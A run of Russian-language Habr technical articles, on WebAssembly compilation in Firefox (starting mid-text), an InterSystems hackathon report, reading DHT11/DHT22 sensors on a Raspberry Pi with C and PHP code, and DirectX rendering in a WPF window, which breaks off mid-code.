С помощью JavaScript достижимы некоторые из этих целей. Можно разбирать файлы вне основного потока после их получения. Но их по-прежнему приходится разбирать, а это немалая работа. И нужно дождаться окончания разбора перед началом компиляции. А для компиляции вы возвращаетесь в основной поток, потому что обычно происходит [ленивая компиляция](https://hacks.mozilla.org/2017/02/a-crash-course-in-just-in-time-jit-compilers/) JS на лету.
При использовании WebAssembly с самого начала меньше работы. Декодирование WebAssembly гораздо проще и быстрее, чем разбор JavaScript. И эти декодирование и компиляцию можно разбивать по нескольким потокам.
Это означает, что несколько потоков будут осуществлять базовую компиляцию, заметно ускоряя её. По окончании процесса предварительно скомпилированный код начинает исполняться в основном потоке. Не нужно делать остановку на ожидание компиляции, как в случае JS.
Хотя предварительно скомпилированный код запускается в основном потоке, другие потоки в этом время работают над оптимизированной версией. Когда готова оптимизированная версия, она заменяет предварительную — и код выполняется ещё быстрее.
Это делает загрузку WebAssembly более похожей на декодирование изображения, чем на загрузку JavaScript. Подумайте об этом… адвокаты производительности в штыки встречают скрипты более 150 КБ, но изображения такого размера не вызывает нареканий.
Это потому что загрузка изображений осуществляется гораздо быстрее, как объяснял Эдди Османи в статье «[Цена JavaScript](https://habrahabr.ru/post/343562/)». И декодирование изображения не блокирует основной поток, как объяснял Алекс Расселл в статье «[Вы можете себе это позволить? Бюджет веб-производительности в реальном мире](https://habrahabr.ru/post/345212/)».
Это не означает, что файлы WebAssembly будут такими же большими, как изображения. Хотя первые версии инструментов WebAssembly действительно создают большие файлы, но это потому что туда приходится включать значительную часть среды выполнения. Сейчас идёт активная работа, чтобы уменьшить их размер. Например, в Emscripten действует «[инициатива по ужиманию](https://github.com/kripken/emscripten/issues/5836)». В Rust вы и сейчас можете получить довольно маленькие файлы, применив цель wasm32-unknown-unknown. И есть инструменты вроде [wasm-gc](https://github.com/alexcrichton/wasm-gc) и [wasm-snip](https://github.com/fitzgen/wasm-snip) для ещё большей оптимизации.
Значит, файлы WebAssembly будут загружаться гораздо быстрее, чем эквивалентный JavaScript.
Это очень важно. Как [заметил Иегуда Кац](https://twitter.com/wycats/status/942908325775077376), это фактор, действительно меняющий правила игры.
Так давайте посмотрим, как работает новый компилятор.
### Потоковая компиляция: раннее начало компиляции
Чем раньше вы начинаете компиляцию кода, тем раньше её закончите. Это то, что делает потоковая компиляция… начиная компиляцию файла .wasm как можно раньше.
Когда вы скачиваете файл, он не приходит одним куском. Вместо этого он поступает серией пакетов.
Раньше нужно было скачать все пакеты файла .wasm, затем сетевой слой браузера помещал его в ArrayBuffer.
Потом этот ArrayBuffer передавался Web VM (aka движок JS). В этот момент компилятор WebAssembly начал бы компиляцию.
Но нет никакой серьёзной причины оставлять компилятор в ожидании. Технически возможно компилировать WebAssembly строчка за строчкой. Значит, процесс можно начать после поступления первого же фрагмента.
Именно так поступает наш компилятор, который использует преимущества потоковых программных интерфейсов WebAssembly.
Если вы передадите объект Response в `WebAssembly.instantiateStreaming`, новые фрагменты кода будут поступать в движок WebAssembly сразу после скачивания. Затем компилятор может начать работу над первым фрагментом, пока следующий ещё скачивается.
Помимо одновременной загрузки и компиляции кода, есть ещё одно преимущество.
Кодовый раздел модуля .wasm идёт в самом начале, перед остальными данными (которые размещаются в объекте памяти модуля). Так что в случае потоковой компиляции код компилируется в то время, как данные модуля ещё не скачались до конца. Если вашему модулю требуется много данных, то объект памяти может быть размером в несколько мегабайт, и потоковая компиляция даст существенное увеличение производительности.
С потоковой компиляцией процесс компиляции начинается раньше. Но мы можем также сделать его быстрее.
### Базовый компилятор 1-го уровня: ускорение компиляции
Если хотите быстрой работы кода, то его нужно оптимизировать. Но выполнение этих оптимизаций во время компиляции занимает время, что замедляет саму компиляцию. Так что это определённый компромисс.
Но если использовать два компилятора, то можно получить преимущества и быстрой компиляции, и оптимизированного кода. Первый быстро компилирует без особых оптимизаций, а второй работает более медленно, но выдаёт более оптимизированный код.
Это называется многоуровневым компилятором. Когда изначально поступает код, он компилируется компилятором Уровня 1 (или базовым компилятором). После того, как скомпилированный базовым компилятором код пошёл на запуск, компилятор Уровня 2 снова обрабатывает код и в фоновом режиме готовит более оптимизированную версию.
По завершении процесса происходит горячая замена базовой версии кода на оптимизированную версию. Это ускоряет выполнение кода.
В движках JavaScript давно используются многоуровневые компиляторы. Однако движки JS используют компилятор Уровня 2 (то есть оптимизирующий) только для «горячего» кода… который часто вызывается на исполнение.
В отличие от них, в WebAssembly компилятор Уровня 2 с охотой выполнит полную перекомпиляцию, оптимизировав весь код модуля. В будущем мы можем добавить больше опций для управления, насколько жадной или ленивой должна быть оптимизация.
Базовый компилятор экономит много времени на загрузке. Он работает в 10–15 раз быстрее, чем оптимизирующий компилятор. И скомпилированный код в нашем случае работает всего в два раза медленнее.
Это означает, что ваш код будет работать достаточно быстро даже в первые моменты, когда работает только базовая неоптимизированная версия.
### Параллелизация: ещё большее ускорение
В [статье по Firefox Quantum](https://hacks.mozilla.org/2017/11/entering-the-quantum-era-how-firefox-got-fast-again-and-where-its-going-to-get-faster/) я объясняла варианты грубо- и тонконастроенной параллелизации. Для компиляции WebAssembly мы используем оба типа.
Выше я упоминала, что оптимизирующий компилятор работает в фоновом режиме, освобождая основной поток для исполнения кода. Базовая скомпилированная версия может работать в то время как оптимизирующий компилятор выполняет свою рекомпиляцию.
Но на большинстве компьютеров в таком случае всё равно бóльшая часть ядер останутся незагруженными. Чтобы оптимально использовать все ядра, оба компилятора используют тонконастроенную параллелизацию для разделения работы.
Единицей параллелизации является функция. Каждая функция может быть скомпилирована независимо, на отдельном ядре. На самом деле это настолько тонкая настройка, что в реальности нам приходится группировать эти функции в бóльшие группы функций. Эти группы рассылаются по разным ядрам.
### …и затем пропуск всей этой работы за счёт полного кэширования (в будущем)
В настоящее время декодирование и компиляция выполняются повторно каждый раз, когда вы перезагружаете страницу. Но если у вас тот же файл .wasm, то он должен скомпилироваться в тот же машинный код.
Значит почти всегда эту работу можно пропустить. Именно этим мы займёмся в будущем. Декодирование и компиляция будут выполняться при первой загрузке страницы, а полученный в результате машинный код будет сохранён в кэше HTTP. Затем при запросе этого URL будет выдаваться сразу прекомпилированный машинный код.
Так время загрузки вообще исчезнет при последующих загрузках страницы.
Фундамент для этой функции уже заложен. В версии Firefox 58 мы таким образом кэшируем байткод JavaScript. Нужно только расширить эту функцию для поддержки файлов .wasm. | https://habr.com/ru/post/347158/ | null | ru | null |
# Хакатон на школе InterSystems 2015
InterSystems никогда раньше не проводила хакатонов. Школы собирали каждый год, тренировали, разбивали на команды, делали задания, различной продолжительности, но так это не называли. Но время идет. Не хотелось в очередной раз повторять одно и тоже. Хотелось чего-то нового.
Хакатонов, тех же.
Если уж мы собираем полсотни высокопрофессиональных программистов Caché почему бы не попытаться, разбив их на команды, создать нечто новое? Не все, скорее всего, согласятся участвовать и захотят программировать ночи напролет, но даже и малая часть, всего две-три команды вполне могут создать что-то стоящее. Даже если в итоге получится всего пара, но осмысленных проектов, то будем считать эксперимент успешным. (И забегая вперед, мы можем с удовлетворением констатировать, что получили больше чем «пару» достойных проектов)
Одна проблема в организации подобного мероприятия как хакатон — мы его никогда до этого не организовывали. И даже лично никто не участвовал. Потому пришлось обращаться за внешней помощью к Григорию [eyeofhell](http://habrahabr.ru/users/eyeofhell/) Петрову, ныне техническому евангелисту Voximplant, а ранее устроившему не один хакатон в Digital October. После встречи с Григорием мы стали вооружены знаниями, что и как делать на хакатоне, что считать успехом, что считать провалом, в какой последовательности действовать, кого приглашать и что покупать. Одна была проблема — сроки нашей школы: хакатон сильно пересекался с конференцией [PyCon Russia 2015](http://pycon.ru/2015/), на которой Григорий собирался выступать.
И нам пришлось все делать самим. Как взрослым.
Список заявленных проектов
--------------------------
Изначально у нас был большой список предлагаемых для проектов идей, но после старта хакатона и распределения тем список сильно ужался — только малая часть участников школы согласилась участвовать в хакатоне в последний день/ночь.
(*В следующий раз можно ужином и завтраками не кормить тех, кто откажется участвовать в хакатоне. Шутка*)
Перед началом кодирования, после объяснения условий игры и разбиения на команды расклад был такой:
Фактически стартовали 7 команд:
1. Atom plugin;
2. CPM web site;
3. Geo-spatial indices
4. Caché <> JS projection
5. Arduino connect
6. Call diagram
7. B\*-Tree map
Это было больше чем в наших пессимистических прогнозах перед школой. Что свидетельствует о правильном наборе участников школы.
Некоторые представители команд, например, те кто взялись за разработку инструментария оценки ISO SQL compliance, хотя и заинтересовались темой в долговременном плане, но, разумно оценив шансы на победу у команды №4, присоединились к ней и стали делать (очередную) проекцию Caché объектов в JavaScript объекты в браузере. Это было дальновидно.
Другие предпочли вместо push notifications [собирать грибы.](https://instagram.com/explore/locations/1054826/) Что, тоже, конечно, значительно полезнее.
В любом случае, все 7 команд дошли до конечного питчинга и выступления, хотя и не все 7 сильно продвинулись к заявленным целям.
Призы за занятые места в хакатоне были не очень большими (за 1ое место каждый участник команды получал [по сертификату Озон](http://www.ozon.ru/context/detail/id/5647144/) на 5 тысяч рублей, за 2ое место — на 3 тысячи рублей, и за 3е место — по 1 тысячи рублей). Главное здесь ведь не размер вознаграждения, а фан и кураж, полученные при создании проекта.
  
1 место
=======
Нас, как организаторов, немного озаботило, что такие 2 звезды сообщества InterSystems как [Никита @ZitRos Савченко](https://github.com/ZitRos) ([LightPivotTable в DeepSee Mobile](https://github.com/ZitRos/LightPivotTable), [CacheUMLExplorer](https://github.com/ZitRos/CacheUMLExplorer), [WebTerminal](https://github.com/intersystems-ru/webterminal), [GlobalsDB Admin](https://github.com/ZitRos/globalsDB-Admin-NodeJS), etc) и [Антон @gnibeda Гнибеда](https://github.com/gnibeda) ([DeepSee Web](https://github.com/intersystems-ru/DeepSeeWeb), [DeepSee Mobile](https://github.com/intersystems-ru/DeepSeeMobile)) собрались в одной команде. К тому же они, как опытные фронтэндщики, могли бы помочь и многим другим командам, и мы знали каким. Было желание, чисто «с педагогической точки зрения», «перебалансировать» команды, разведя Никиту и Антона по разным проектам. Хорошо, что мы так не сделали…
Теория хакатоностроения учит, что успеха на хакатонах добиваются идеи и проекты заранее подготовленные. В данном случае получилось совершенно не так. Авторами проекта победителя утверждается (и нет причин этому не верить), что идея создать проекцию объектов Caché в JavaScript возникла у ребят на второй день школы, в момент обсуждения возможных тем хакатона. Этот факт спонтанности данного проекта добавил веса в финальном обсуждении победителей, ровно как сработал и фактор правильно сделанной презентации на финальном питчинге.
JavaScript Object Data Model — проекция объектов Caché в JavaScript
-------------------------------------------------------------------
| | |
| --- | --- |
| Авторы: | [Никита @ZitRos Савченко](https://github.com/ZitRos), [Антон @gnibeda Гнибеда](https://github.com/gnibeda), [Ирина [Gra-ach](http://habrahabr.ru/users/gra-ach/) Михайлова](https://github.com/Gra-ach) |
| GitHub репозиторий: | <https://github.com/ZitRos/cjs> |
Проект состоит из двух частей: серверной и клиентской JavaScript. Серверная часть предоставляет простой набор REST data-points, которые позволяют получить доступ к методам/свойствам класса. Клиентская часть при помощи специального шаманства JavaScript экспортирует эти методы и свойства на клиентской стороне, предоставляя доступ к ним в коде и в отладчике.
Отличительная особенность данного API на клиентской стороне — оно сделано правильно, с применением современным парадигм (таких как асинхронные вызовы и каскадирование).
```
cjs.connector.connect("http://172.16.2.172:57776/", "Samples", ["School2015"], function (cache) {
// creating a new object
var p = new cache.School2015.Participant();
p.Name = "Anton";
p.Surname = "Gnibeda";
p.$save(function(obj) {
console.log("Participant with name " + obj.name + " saved!");
});
// executing instance method
cache.School2015.Group.openById(1, function (group) {
group.PrintInfo(function (res) {
console.log(res);
});
});
// executing linq-like queries
cache.School2015.Participant
.query()
.where("Carma < 100 OR Carma > 140")
.where("$id > 10")
.orderByDesc("Carma")
.orderBy("Name")
.exec(function(res) {
console.table(res);
});
});
```
2 место
-------
*При [подготовке к хакатону](http://writeimagejournal.com/?p=1902) мы сформировали список интересных (с нашей точки зрения) задач, это было объединением существующего списка перспективных заданий на гранты университетской программы InterSystems и выборки из списка запросов на расширение (Issues) в некоторых уже существующих проектах intersystems-ru на github.*
Добавление поиска по гео-индексам было одним из таких задач.
Geospatial — пространственные индексы для Caché
-----------------------------------------------
| | |
| --- | --- |
| Авторы: | [Андрей [Arechitsky](http://habrahabr.ru/users/arechitsky/) Речицкий](https://github.com/ARechitsky) , [Александр [adaptun](http://habrahabr.ru/users/adaptun/) Koblov](https://github.com/adaptun), [Александр @Apogrebnikov Погребников](https://github.com/APogrebnikov) |
| GitHub репозиторий: | [github.com/intersystems-ru/spatialindex](https://github.com/intersystems-ru/spatialindex) |
В Caché давно не хватало поиска по пространственным индексам. С учетом гибкости мультимодельной парадигмы платформы, не было ни одной объективной причины, почему нельзя было добавить такую поддержку. Вопрос был в желании, экспертизе и, может быть, в стечении обстоятельств. Сбор команды с таким количеством математиков был правильным стечением обстоятельств и экспертиз.
В итоге были реализованы кастомные индексы, которые строят квадро-дерево по заданным парам координат, и продемонстрировано простенькое web-приложение, которое на массиве данных из миллионов точек, находило пересечение за доли секунды и визуализировало на карте заданную область.
Программно поиск по пространственным индексам выглядит теперь так:
1. Задание индекса в классе по паре свойств, задающих координаты:
```
Index x1f on (Latitude,Longitude) As SpatialIndex.Index;
```
2. Поиск по квадратной области:
```
SELECT *
FROM SpatialIndex.Test
WHERE %ID %FIND search_index(x1F,'window','minx=56,miny=56,maxx=57,maxy=57')
```
3. Или по эллипсу:
```
SELECT *
FROM SpatialIndex.Test
WHERE %ID %FIND search_index(x1F,'radius','x=55,y=55,radiusX=2,radiusY=2')
and name %StartsWith 'Z'
```
Понятно, что это только начало большого пути в продукт, и надо еще реализовать поиск по полигонам, и до реализации ISO 19125 еще очень длинный путь. Но это был первый важный практический шаг.
Есть ощущение, что этот конкретно проект, с точки зрения пользы для продукта будет иметь наибольшее влияние из всех победителей данного хакатона: функциональность, которую давно ждали, наконец-то появилась, её можно начинать использовать прямо сейчас.
3 место
-------
Третье место разделили 2 проекта: визуализатор диаграмм взаимодействия и визуализатор глобалов в базе
Так получилось, что проект [UMLExplorer](https://github.com/intersystems-ru/UMLExplorer) (по странному стечению обстоятельств также созданный [Никитой @ZitRos Савченко](https://github.com/ZitRos)) побудил других на создание еще нескольких разнообразных инструментальных средств, облегчающих взаимодействие с базой Caché и / или её классами/таблицами.
### Callsmap — визуализатор диаграммы взаимодействия
| | |
| --- | --- |
| Авторы: | [Олег [doublefint](http://habrahabr.ru/users/doublefint/) Дмитрович](https://github.com/doublefint), Евгения Литвин, [Александр [TsvetkovAV](http://habrahabr.ru/users/tsvetkovav/) Цветков](https://github.com/TsvetkovAV) |
| GitHub репозиторий: | [github.com/intersystems-ru/callsmap](https://github.com/intersystems-ru/callsmap) |
Олегу Дмитровичу понравилась визуализация иерархии, и он захотел сделать что-то похожее, но на уровне диаграммы взаимодействия (вызовов). К сожалению, не всякая jQuery компонента может выдержать то многообразие вызовов, которое есть у Олега в его тестовых примерах (несколько тысяч классов, с соответствующим количеством дуг в диаграмме взаимодействия). Потому пришлось искать другую подходящую компоненту — в итоге остановились на Viva Graph, которая очень быстрая.
Визуализация графа взаимодействия классов в тестовой области в итоге выглядела примерно так:
(*Статическая картинка не отображает всей красоты визуализации и не может передать анимационные эффекты, реализованные на Viva Graph. Расползание галактики классов в жизни завораживает*)
### CacheBlocksExplorer — визуализатор дерева глобалов и карты БД
| | |
| --- | --- |
| Авторы: | [Дмитрий [daimor](http://habrahabr.ru/users/daimor/) Масленников](https://github.com/daimor), Ольга Казанцева |
| GitHub репозиторий: | [github.com/intersystems-ru/CacheBlocksExplorer](https://github.com/intersystems-ru/CacheBlocksExplorer) |
Еще один замечательный проект, который возник на базе идеи/движка UMLExplorer, — визуализатор глобалов/карты базы, сделанный Дмитрием Масленниковым. Собственно, визуализатор дерева b\*-tree глобалов Дмитрий сделал до старта хакатона, но при обсуждении проекта перед хакатоном общим консенсусом было, что нам не хватает визуализации карты базы, как это было в старом добром Norton SpeedDisk/Microsoft SpeedDisk. Что Дмитрий за ночь и сделал.
(И, кстати, данный проект получил еще и «приз зрительских симпатий» по итогам общего голосования.)
Теперь, как побочный результат написания данного проекта, у нас есть 2 замечательных инструмента, полезных как для преподавания, так и для оптимизации баз: отображение всех уровней иерархии b\*-tree дерева на примере конкретного глобала, и отображение карты распределения блоков базы данных с цветовым кодированием глобалов. И все это в рамках одного инструмента.
Не знаю как вы, но я обязательно буду его использовать, и часто.
Остальные проекты хакатона
--------------------------
Было еще 3 проекта, дошедших в том или ином состоянии до финального питчинга. Но, пожалуй, о них мы расскажем в другой раз
Вот их репозитории:
| | |
| --- | --- |
| CPM | [github.com/intersystems-ru/CPM](https://github.com/intersystems-ru/CPM) |
| Atom COS Studio | [github.com/UGroup/Atom-COS-Studio](https://github.com/UGroup/Atom-COS-Studio) |
| Arduino Snippets | [github.com/intersystems-ru/ArduinoSnippets](https://github.com/intersystems-ru/ArduinoSnippets) |
Заключение
----------
В целом, по прошествии уже нескольких дней после завершения школы, переварив все впечатления, мы еще раз можем утверждать, что эксперимент с хакатоном на школе InterSystems прошел более чем успешно. Сообщество получило 4 выдающихся, если не гениальных проекта, с инструментальными средствами разной направленности. Многие из них будут полезны сообществу, и некоторые из них могут быть полезны и самому InterSystems.
Что, впрочем-то, мы изначально и хотели получить.
[[Фотоальбом №1]](https://plus.google.com/+TimurSafin1/posts/AN2JcP9K2yx) [[Фотоальбом №2]](https://plus.google.com/+TimurSafin1/posts/9BMJjFAqmxn) [[Фотоальбом №3]](https://www.facebook.com/groups/mskiscmeetup/permalink/1056669757706535/) | https://habr.com/ru/post/267459/ | null | ru | null |
# Raspberry Pi: измеряем влажность и температуру с помощью DHT11/DHT22
На Хабре уже публиковалась [статья](http://habrahabr.ru/post/163575/) о подключении датчика температуры DS18B20 к Raspberry Pi. В нашем новом проекте, который строится на Raspberry Pi, понадобилось измерять не только температуру, но и влажность. Я расскажу, как подключить недорогие китайские датчики влажности к Raspberry Pi. Просмотрев несколько вариантов различных датчиков, остановился на двух наиболее массовых на рынке датчиков. Это DHT11, который привлек своей ценой $3 (с доставкой) и датчик DHT22 (около $10 с доставкой).
Основная разница между ними в диапазоне температур и точности измерения:
###### DHT11
* Влажность 20-80% +- 5%
* Температура 0-50 °С+- 2%
* Данные считываются в целых единицах.
###### DHT22
* Влажность 0-100% +- 5%
* Температура -40-125 °С +- 0.5%
* Данные считываются с точностью до десятых.
##### Подключение
Подключение к Raspberry Pi особой сложности не представляет: подключаем + от датчика к +5V на Raspberry Pi, "-" — к земле, и сигнал к одному из [GPIO выводов](http://elinux.org/RPi_Low-level_peripherals).
##### Устанавливаем ПО
Оба датччика используют свой протокол вместо стандартизированного 1 wire, поэтому программное обеспечение для снятия показаний датчика тоже будет отличаться.
Сначала установим библиотеку на С для работы с GPIO [www.open.com.au/mikem/bcm2835/index.html](http://www.open.com.au/mikem/bcm2835/index.html)
```
wget http://www.open.com.au/mikem/bcm2835/bcm2835-1.15.tar.gz
tar xzf bcm2835-1.15.tar.gz
cd bcm2835-1.15/
./configure
make
make install
```
Для чтения данных с датчика за основу был взят файл на С [Adafruit\_DHT\_Driver](https://github.com/adafruit/Adafruit-Raspberry-Pi-Python-Code/blob/master/Adafruit_DHT_Driver/Adafruit_DHT.c). Без внесения некоторых изменений работать с DHT22, этот код отказывался, пришлось немного изменить.
**Поэтому привожу модифицированную версию.**Файл readDHT.c
```
// How to access GPIO registers from C-code on the Raspberry-Pi
// Example program
// 15-January-2012
// Dom and Gert
//
// Access from ARM Running Linux
#define BCM2708_PERI_BASE 0x20000000
#define GPIO_BASE (BCM2708_PERI_BASE + 0x200000) /* GPIO controller */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define MAXTIMINGS 100
#define DHT11 11
#define DHT22 22
#define AM2302 22
int readDHT(int type, int pin);
int main(int argc, char \*\*argv)
{
if (!bcm2835\_init())
return 1;
if (argc != 3) {
printf("usage: %s [11|22|2302] GPIOpin#\n", argv[0]);
printf("example: %s 2302 4 - Read from an AM2302 connected to GPIO #4\n", argv[0]);
return 2;
}
int type = 0;
if (strcmp(argv[1], "11") == 0) type = DHT11;
if (strcmp(argv[1], "22") == 0) type = DHT22;
if (strcmp(argv[1], "2302") == 0) type = AM2302;
if (type == 0) {
printf("Select 11, 22, 2303 as type!\n");
return 3;
}
int dhtpin = atoi(argv[2]);
if (dhtpin <= 0) {
printf("Please select a valid GPIO pin #\n");
return 3;
}
printf("Using pin #%d\n", dhtpin);
readDHT(type, dhtpin);
return 0;
} // main
int bits[250], data[100];
int bitidx = 0;
int readDHT(int type, int pin) {
int counter = 0;
int laststate = HIGH;
int j=0;
int i=0;
// Set GPIO pin to output
bcm2835\_gpio\_fsel(pin, BCM2835\_GPIO\_FSEL\_OUTP);
bcm2835\_gpio\_write(pin, HIGH);
usleep(100);
bcm2835\_gpio\_write(pin, LOW);
usleep(20000);
bcm2835\_gpio\_fsel(pin, BCM2835\_GPIO\_FSEL\_INPT);
data[0] = data[1] = data[2] = data[3] = data[4] = 0;
// read data!
for (i=0; i< MAXTIMINGS; i++) {
counter = 0;
while ( bcm2835\_gpio\_lev(pin) == laststate) {
counter++;
nanosleep(1); // overclocking might change this?
if (counter == 100)
break;
}
laststate = bcm2835\_gpio\_lev(pin);
if (counter == 100) break;
bits[bitidx++] = counter;
if ((i>3) && (i%2 == 0)) {
// shove each bit into the storage bytes
data[j/8] <<= 1;
if (counter > 16)
data[j/8] |= 1;
j++;
}
}
#ifdef DEBUG
for (int i=3; i 15);
}
#endif
printf("Data (%d): 0x%x 0x%x 0x%x 0x%x 0x%x\n", j, data[0], data[1], data[2], data[3], data[4]);
if ((j >= 39) &&
(data[4] == ((data[0] + data[1] + data[2] + data[3]) & 0xFF)) ) {
// yay!
if (type == DHT11)
printf("Temp = %d \*C, Hum = %d \%\n", data[2], data[0]);
if (type == DHT22) {
float f, h;
h = data[0] \* 256 + data[1];
printf ("%s\n",h);
h /= 10;
f = (data[2] & 0x7F)\* 256 + data[3];
f /= 10.0;
if (data[2] & 0x80) f \*= -1;
printf("Temp = %.1f \*C, Hum = %.1f \%\n", f, h);
}
return 1;
}
return 0;
}
```
Компилируем
```
gcc readDHT.c -lbcm2835 -lrt -o readDHT
```
Пробуем считывать данные
```
./readDHT {тип датчика 11 или 22} {номер GPIO вывода Raspberry PI}
```
Например DHT11 подключен к GPIO4
```
root@raspberrypi /var/www/application/scripts/DHT # ./readDHT 11 4
Using pin #4
Data (40): 0x23 0x0 0x17 0x0 0x3a
Temp = 23 *C, Hum = 35 %
```
или DHT22 подключен к GPIO17
```
root@raspberrypi /var/www/application/scripts/DHT # ./readDHT 22 17
Using pin #17
Data (40): 0x1 0x75 0x0 0xea 0x60
Temp = 23.4 *C, Hum = 37.3 %
```
При реализации вызова readDHT нужно учитывать, что если скорость обращения будет высокая ( чаще чем раз в секунду) вместо данных Вы будете получать CRC Error.
##### Сохранение данных с датчиков
Полученные данные нужно куда-то сохранять, приведу пример как можно сохранять данные в Google.docs. Т.к. мне ближе PHP, сохранение сделал на PHP с использованием Zend\_Gdata\_Spreadsheets.
[](http://lookvisor.com/wp-content/uploads/2012/11/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5-%D1%82%D0%B0%D0%B1%D0%BB%D0%B8%D1%86%D1%8B-%D0%B2-google-docs.jpg)Подготовим google docs. Создадим новую таблицу и дадим ей имя. Дадим имена колонкам первой datetime, второй temperature, третей humidity. Из адресной строки скопируем id нашей таблицы, по нему будет производиться обращение к таблице.
Устанавливаем php:
```
pi@raspberrypi ~ $ sudo apt-get php5 php5-curl unzip
```
Создадим папку для нашего проекта:
```
pi@raspberrypi ~ $ mkdir /home/pi/dht
```
Загрузим и распакуем Zend Framework:
```
pi@raspberrypi ~ $ mkdir /home/pi/dht/library
pi@raspberrypi ~ $ cd /home/pi/dht/library
pi@raspberrypi ~ $ wget http://packages.zendframework.com/releases/ZendFramework-1.12.0/ZendFramework-1.12.0-minimal.zip
pi@raspberrypi ~ $ unzip ZendFramework-1.12.0-minimal.zip
pi@raspberrypi ~ $ ln -s ZendFramework-1.12.0-minimal/library/Zend Zend
```
**DHTtoGoogleDocs.php**
```
php
ini_set("include_path",get_include_path().':/home/pi/dht/library');
require_once 'Zend/Loader.php';
Zend_Loader::loadClass('Zend_Gdata_Spreadsheets');
Zend_Loader::loadClass('Zend_Gdata_ClientLogin');
define('GDATA_USER','googleusername');
define('GDATA_PASSWORD','google user password');
define('GDATA_SPREADSHEET_KEY','spreadsheetkey from url');
define('GDATA_WORKSHEET_ID','od6');
try {
$t = new Temperature_DHT();
// get data from sensor
$data = $t-getData(11,4);
$service = Zend_Gdata_Spreadsheets::AUTH_SERVICE_NAME;
$client = Zend_Gdata_ClientLogin::getHttpClient(GDATA_USER, GDATA_PASSWORD, $service);
$service = new Zend_Gdata_Spreadsheets($client);
// add row to spreadsheet
$row = array(
'datetime'=>date("Y-m-d H:i:s"),
'temperature'=>$data[0],
'humidity'=>$data[1],
);
$service->insertRow($row, GDATA_SPREADSHEET_KEY, GDATA_WORKSHEET_ID);
} catch (Exception $e) {
die( $e->getMessage() );
}
class Temperature_DHT
{
private $_maxFailCount=5;
public function getData($type, $pin)
{
$count = 0;
while ($count<=$this->_maxFailCount)
{
$count++;
$filename = '/home/pi/dht/readDHT';
$out = exec ("$filename $type $pin");
if(preg_match("'^Temp = ([0-9\.]+) \*C, Hum = ([0-9\.]+) %'", $out,$result))
{
return array($result[1],$result[2]);
}
}
}
}
```
Проверяем работу файла, запускаем:
```
pi@raspberrypi ~ $ php DHTtoGoogleDocs.php
```
Осталось только поставить вызов «php DHTtoGoogleDocs.php» в cron.
В качестве эксперимента данные собирались почти месяц с интервалом в 10 минут в одном помещении и сохранялись в google docs, датчики были расположены рядом. Кому интересно можете посмотреть на [разброс значений](https://docs.google.com/spreadsheet/ccc?key=0At-_s3pF-Sl-dHVLVUYzX09rdzBncHo0YUsyUU82Y0E).
Из данных, которые собирали оба дачика, можно сказать, что если нужно просто понять меняется ли влажность, то датчика DHT11 вполне достаточно. Но, если Вы хотите, что бы отображаемое значение было близко к значению бытовой метеостанции, то лучше использовать DHT22. | https://habr.com/ru/post/167459/ | null | ru | null |
# Рендеринг DirectX в окне WPF
### Вступление
Добрый день, уважаемые читатели! Не так давно передо мной встала задача реализовать несложный графический редактор под Windows, при этом в перспективе он должен поддерживать как двухмерную, так и трёхмерную графику. Задача непростая, особенно если учесть, что наряду с окном просмотра результата рисования непременно должен быть качественный интерфейс пользователя. После некоторых раздумий были выделены два инструмента: Qt и WPF. Технология Qt может похвастаться хорошим API и неплохой поддержкой OpenGL. Однако она обладает и рядом недостатков, с которыми сложно мириться. Во-первых, большое приложение на Qt Widgets выйдет довольно дорогим в обслуживании, а в Qt Quick тяжело интегрировать графику. Во-вторых, в OpenGL нет развитого интерфейса для двухмерного рисования. Таким образом, я остановился на WPF. Здесь меня всё устраивало: мощные инструменты создания GUI, язык программирования C# и большой опыт работы с этой технологией. К тому же было принято решение использовать Direct3D и Direct2D для рисования. Осталась всего одна проблема — нужно было разместить результаты рендеринга, выполненного на C++, в окне WPF. Эта статья посвящена решению данной проблемы. Итак, вот план руководства:
1. Разработка компонента просмотра рендеринга на C#
2. Создание примера проекта с использованием DirectX на C++
3. Вывод результата рисования в окне WPF
Не будем терять времени и немедленно приступим к работе.
### 1. Разработка компонента просмотра рендеринга на C#
Для начала создадим проект приложения WPF в Visual Studio. Затем добавим в проект новый класс C#. Пусть его имя будет NativeWindow. Ниже приведён код этого класса:
**NativeWindow.cs**
```
using System;
using System.Runtime.InteropServices;
using System.Windows;
using System.Windows.Interop;
namespace app
{
public class NativeWindow : HwndHost
{
public new IntPtr Handle { get; private set; }
Procedure procedure;
const int WM_PAINT = 0x000F;
const int WM_SIZE = 0x0005;
[StructLayout(LayoutKind.Sequential)]
struct WindowClass
{
public uint Style;
public IntPtr Callback;
public int ClassExtra;
public int WindowExtra;
public IntPtr Instance;
public IntPtr Icon;
public IntPtr Cursor;
public IntPtr Background;
[MarshalAs(UnmanagedType.LPWStr)]
public string Menu;
[MarshalAs(UnmanagedType.LPWStr)]
public string Class;
}
[StructLayout(LayoutKind.Sequential)]
struct Rect
{
public int Left;
public int Top;
public int Right;
public int Bottom;
}
[StructLayout(LayoutKind.Sequential)]
struct Paint
{
public IntPtr Context;
public bool Erase;
public Rect Area;
public bool Restore;
public bool Update;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)]
public byte[] Reserved;
}
delegate IntPtr Procedure
(IntPtr handle,
uint message,
IntPtr wparam,
IntPtr lparam);
[DllImport("user32.dll")]
static extern IntPtr CreateWindowEx
(uint extended,
[MarshalAs(UnmanagedType.LPWStr)]
string name,
[MarshalAs(UnmanagedType.LPWStr)]
string caption,
uint style,
int x,
int y,
int width,
int height,
IntPtr parent,
IntPtr menu,
IntPtr instance,
IntPtr param);
[DllImport("user32.dll")]
static extern IntPtr LoadCursor
(IntPtr instance,
int name);
[DllImport("user32.dll")]
static extern IntPtr DefWindowProc
(IntPtr handle,
uint message,
IntPtr wparam,
IntPtr lparam);
[DllImport("user32.dll")]
static extern ushort RegisterClass
([In]
ref WindowClass register);
[DllImport("user32.dll")]
static extern bool DestroyWindow
(IntPtr handle);
[DllImport("user32.dll")]
static extern IntPtr BeginPaint
(IntPtr handle,
out Paint paint);
[DllImport("user32.dll")]
static extern bool EndPaint
(IntPtr handle,
[In] ref Paint paint);
protected override HandleRef BuildWindowCore(HandleRef parent)
{
var callback = Marshal.GetFunctionPointerForDelegate(procedure = WndProc);
var width = Convert.ToInt32(ActualWidth);
var height = Convert.ToInt32(ActualHeight);
var cursor = LoadCursor(IntPtr.Zero, 32512);
var menu = string.Empty;
var background = new IntPtr(1);
var zero = IntPtr.Zero;
